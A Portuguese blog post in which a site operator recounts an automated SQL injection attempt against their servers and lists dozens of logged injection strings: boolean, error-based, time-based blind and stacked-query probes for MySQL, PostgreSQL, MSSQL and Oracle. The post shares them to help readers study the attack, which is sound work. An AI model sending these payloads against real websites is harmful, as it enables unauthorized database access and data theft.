Facebok Pixel

Hoje algum criminoso tentou invadir nossos servidores através de um ataque baseado na técnica SQL Injection, a qual, obviamente, já estamos preparados para mitigar.

Ao fazermos o rastreio da origem dos ataques identificamos que o marginal supostamente estaria na cidade de Mônaco mas, pela lógica, na verdade o meliante estava escondido atrás de uma VPN e daí para frente não mais nos interessa continuar com a investigação.

A julgar pela velocidade que as tentativas foram realizadas, elas foram disparadas a partir de um sistema automatizado. Foram várias tentativas por minuto, não daria tempo de um ser humano ter digitado, ainda que utilizando técnica de copiar e colar.

O ataque só foi interrompido quando tirei o site do ar propositalmente, colocando em seu lugar uma mensagem do tipo “em manutenção” com um recado para o criminoso “SQL Injection não vai funcionar / SQL Injection won’t work” e pedindo que ele entrasse em contato comigo, coisa que não aconteceu. Após 5 minutos retornei o ao normal e as tentativas de ataque haviam cessado.

Uma coisa que nos chamou a atenção é que o sistema invasor parece ter uma lista de templates de ataque, e sobre esses templates ele faz variações. Observe, por exemplo, as linhas 5 até 11. São exatamente o mesmo tipo de ataque, variando apenas o valor utilizado. Depois temos as linhas 13 e 15 realizando o mesmo tipo de ataque, o padrão se repete nas linhas 17 e 19, 21 e 23 e por aí vai.

Uma coisa que eu não entendi e, caso alguém saiba, por favor, explique nos comentários, foram as duas primeiras tentativas: um número 1 e depois o número 1677. Essas entradas são inofensivas, que tipo de ameaça isso pode oferecer? Seria o bandido apenas testando se o servidor está respondendo?

Para quem estuda os ataques através de SQL Injection, vou listar aqui todas as strings utilizadas pelo bandido para enriquecer seu conhecimento:

1

1677

1 AND 5587=5587-- DOmG 

1 AND 5373=5741-- uuQo 

1 AND 5587=5587 

1 AND 4916=4322 

1) AND 5587=5587 AND (8357=8357 

1) AND 4617=3884 AND (6155=6155 

(SELECT (CASE WHEN (5478=9054) THEN 1 ELSE (SELECT 9054 UNION SELECT 4221) END)) 

(SELECT (CASE WHEN (6380=6380) THEN 1 ELSE (SELECT 7057 UNION SELECT 2667) END)) 

1 AND EXTRACTVALUE(4951,CONCAT(0x5c,0x717a707a71,(SELECT (ELT(4951=4951,1))),0x71627a6a71))-- TkcS  

1 AND EXTRACTVALUE(4951,CONCAT(0x5c,0x717a707a71,(SELECT (ELT(4951=4951,1))),0x71627a6a71)) 

1) AND EXTRACTVALUE(4951,CONCAT(0x5c,0x717a707a71,(SELECT (ELT(4951=4951,1))),0x71627a6a71)) AND (2657=2657 

1 AND 9257=CAST((CHR(113)||CHR(122)||CHR(112)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (9257=9257) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113)) AS NUMERIC)-- NlMj 

1) AND 1500 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(112)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (1500=1500) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(106)+CHAR(113))) AND (5220=5220  

1 AND 1500 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(112)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (1500=1500) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(106)+CHAR(113))) 

1) AND 6395=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(112)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (6395=6395) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) AND (9779=9779 

1 AND 6395=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(112)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (6395=6395) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL)-- xLss 

1 AND 1500 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(112)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (1500=1500) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(106)+CHAR(113)))-- Khkn 

1);SELECT PG_SLEEP(5)-- 

1);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(67)||CHR(105)||CHR(121),5) FROM DUAL-- 

1;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(67)||CHR(105)||CHR(121),5) FROM DUAL-- 

1 AND (SELECT 2836 FROM (SELECT(SLEEP(5)))EEkY)-- Lmsu 

1 AND (SELECT 2836 FROM (SELECT(SLEEP(5)))EEkY) 

1 AND 2762=(SELECT 2762 FROM PG_SLEEP(5))-- YNFO 

1 AND 2762=(SELECT 2762 FROM PG_SLEEP(5)) 

1) AND 2762=(SELECT 2762 FROM PG_SLEEP(5)) AND (6439=6439 

1) AND 9257=CAST((CHR(113)||CHR(122)||CHR(112)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (9257=9257) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113)) AS NUMERIC) AND (2761=2761 

1 AND 1996=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(109)||CHR(86)||CHR(110),5) 

1) AND 1996=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(109)||CHR(86)||CHR(110),5) AND (2391=2391 

1 AND 6395=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(112)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (6395=6395) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) 

1 AND 1996=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(109)||CHR(86)||CHR(110),5)-- jWgf

1 ORDER BY 1-- awMg 

1 ORDER BY 1-- eXqx 

1;SELECT PG_SLEEP(5)-- 

1) ORDER BY 1-- cUad 

1 WAITFOR DELAY \'0:0:5\'-- fhvR 

1);WAITFOR DELAY \'0:0:5\'-- 

1\';WAITFOR DELAY \'0:0:5\'-- 

(SELECT CONCAT(CONCAT(\'qzpzq\',(CASE WHEN (4320=4320) THEN \'1\' ELSE \'0\' END)),\'qbzjq\')) 

1.),\'\",))(. 

1\') AND 1996=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(109)||CHR(86)||CHR(110),5) AND (\'nufZ\'=\'nufZ

1\') WAITFOR DELAY \'0:0:5\' AND (\'FEdg\'=\'FEdg

1) AND (SELECT 2836 FROM (SELECT(SLEEP(5)))EEkY) AND (3380=3380

1\');WAITFOR DELAY \'0:0:5\'-- (essa eu achei boa!)

1\' WAITFOR DELAY \'0:0:5\' AND \'FDMX\'=\'FDMX 

1\' AND 1996=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(109)||CHR(86)||CHR(110),5) AND \'Xrjk\'=\'Xrjk 

1 WAITFOR DELAY \'0:0:5\' 

1) WAITFOR DELAY \'0:0:5\' AND (2255=2255 

1\' AND 2762=(SELECT 2762 FROM PG_SLEEP(5)) AND \'cgoX\'=\'cgoX 

1\') AND 2762=(SELECT 2762 FROM PG_SLEEP(5)) AND (\'oStc\'=\'oStc 

1\' AND (SELECT 2836 FROM (SELECT(SLEEP(5)))EEkY) AND \'VfLE\'=\'VfLE 

1\') AND (SELECT 2836 FROM (SELECT(SLEEP(5)))EEkY) AND (\'ykcE\'=\'ykcE 

1\';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(67)||CHR(105)||CHR(121),5) FROM DUAL-- 

1\');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(67)||CHR(105)||CHR(121),5) FROM DUAL-- 

1\') AND 9257=CAST((CHR(113)||CHR(122)||CHR(112)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (9257=9257) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113)) AS NUMERIC) AND (\'pnIV\'=\'pnIV 

1\';SELECT PG_SLEEP(5)-- 

1\');SELECT PG_SLEEP(5)-- 

1\' AND 6395=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(112)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (6395=6395) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) AND \'oigJ\'=\'oigJ 

1\') AND 6395=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(112)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (6395=6395) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) AND (\'tHhR\'=\'tHhR 

1\' AND 1500 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(112)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (1500=1500) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(106)+CHAR(113))) AND \'Choy\'=\'Choy 

1\') AND 1500 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(112)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (1500=1500) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(106)+CHAR(113))) AND (\'avEv\'=\'avEv 

1\' AND 9257=CAST((CHR(113)||CHR(122)||CHR(112)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (9257=9257) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113)) AS NUMERIC) AND \'EpCA\'=\'EpCA 

1\' AND EXTRACTVALUE(4951,CONCAT(0x5c,0x717a707a71,(SELECT (ELT(4951=4951,1))),0x71627a6a71)) AND \'LFaJ\'=\'LFaJ 

1\') AND 5587=5587 AND (\'oDiO\'=\'oDiO 

1\') AND EXTRACTVALUE(4951,CONCAT(0x5c,0x717a707a71,(SELECT (ELT(4951=4951,1))),0x71627a6a71)) AND (\'FhEh\'=\'FhEh  

1\' AND 5587=5587 AND \'KAbS\'=\'KAbS 

1\' AND 5039=4825 AND \'JYgO\'=\'JYgO 

1\') AND 5708=8665 AND (\'LSpw\'=\'LSpw 

1\'ojSOXy<\'\">cIoUrf 
Categorias: Informativo

0 comentário

Deixe um comentário

Avatar placeholder

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *